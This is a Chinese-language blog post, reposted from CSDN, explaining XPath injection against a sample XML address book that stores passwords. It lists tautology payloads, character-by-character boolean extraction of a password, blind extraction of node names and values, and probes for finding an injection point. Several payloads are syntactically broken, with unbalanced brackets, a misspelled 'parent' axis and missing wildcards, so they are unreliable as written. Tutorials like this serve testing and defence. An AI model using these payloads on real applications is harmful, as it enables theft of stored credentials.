SQL injection 之 (XPath injection)

  • A+
所属分类:dmsec
摘要

今天看书的时候看到了个对XPath注入总结不错的书,分享给大家,希望对以后写自动化测试工具有帮助


0x00 前言

今天看书的时候看到了个对XPath注入总结不错的书,分享给大家,希望对以后写自动化测试工具有帮助

0x01 介绍

我们都应该知道XPath这种语言是做什么的,就不细讲了,具体参见菜鸟教程 XPath语法详解
XML不是保存企业数据的,但是很多情况下都用来保存应用程序配置数据,小型应用程序也保存简单信息,例如角色权限等等
下面给出一个XML的列子
<addressBooke>
<address>
<name>Tom</name>
<password>abcdefg</password>
<age>20</age>
<phone>13000000000</phone>
</address>
<address>
<name>Bob</name>
<password>abcdefg</password>
<age>30</age>
<phone>13000000001</phone>
</address>
<address>
<name>Jack</name>
<password>abcdefg</password>
<age>40</age>
<phone>13000000002</phone>
</address>

0x02 讲解

原理类似SQL注入,构建新的查询逻辑来进行攻击
但是要注意,关键词像函数这种的区分大小写
1.构建新的逻辑实现注入
or 1=1
and 1=2
‘or ‘a’=’a
‘and ‘a’=’b
一个字节一个字节的提取出信息:
‘or //address[name/text()=’Tom’ and substring(password/text(),1,1))] =’a’ and ‘a’=’a
返回正常则判断正确
等同于下面的查询:
//address[name/text()=’’ or //address[name/text()=’Tom’ and substring(password/text(),1,1))] =’a’ ]and ‘a’=’a]/phone/text()
通过查询名字的输入 却查询到了了tom的密码首位,尝试攻击每一个字符位置并测试每一个可能的值,获得密码

2.当然了大部分情况下,我们不能够知道任何节点的名称或者说只能知道一部分,可使用盲注XPath
相当于SQL盲注(大家都对语句嫩熟于心,不多提了)
首先提取父节点的名字:
‘or substring(name(parent::[position()=1]),1,1)=’a 正常
‘or substring(name(parent::
[position()=1]),2,1)=’d 正常
……..
父节点名字为address 是元素节点
提取子节点名字
‘or substring(//address[1]/[2],1,1)=’p’ or ‘a’=’a 正常
‘or substring(//address[1]/
[2],2,1)=’a’ or ‘a’=’a 正常
……..
二号子节点名称为password
提取子节点的值:
基于原理://address[1]/[2]/text() -> tom的password 但是这个不会输出
我们通过布尔型来查询XML所有的内容
‘or substring(//address[1]/
[2]/text(),1,1)=’a’ or’a’=’a 正常
‘or substring(//address[1]/*[2]/text(),1,1)=’b’ or’a’=’a 正常
……
第二个子节点值为abcdefg

0x03 测试

测试步骤:
提交这些看能否使得状态改变 (count返回子节点数量)
‘ or count(parent::[position()=1])=0 or ‘a’=’b 状态1
‘ or count(aprent::
[position()=1])>0 or ‘a’=’b 状态改变
数字型参数:
1 or count(parent::[position()=1])=0
1 or count(parent::
[position()=1])=0 状态改变
确定了存在注入点,用上面的方法注入就可以了!

0x04 版权

本人转自 http://blog.csdn.net/pygain/article/details/54561701

0x05 参考文献

http://blog.csdn.net/quiet_girl/article/details/50588130
http://www.webbaozi.com/qjyq/49.html

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: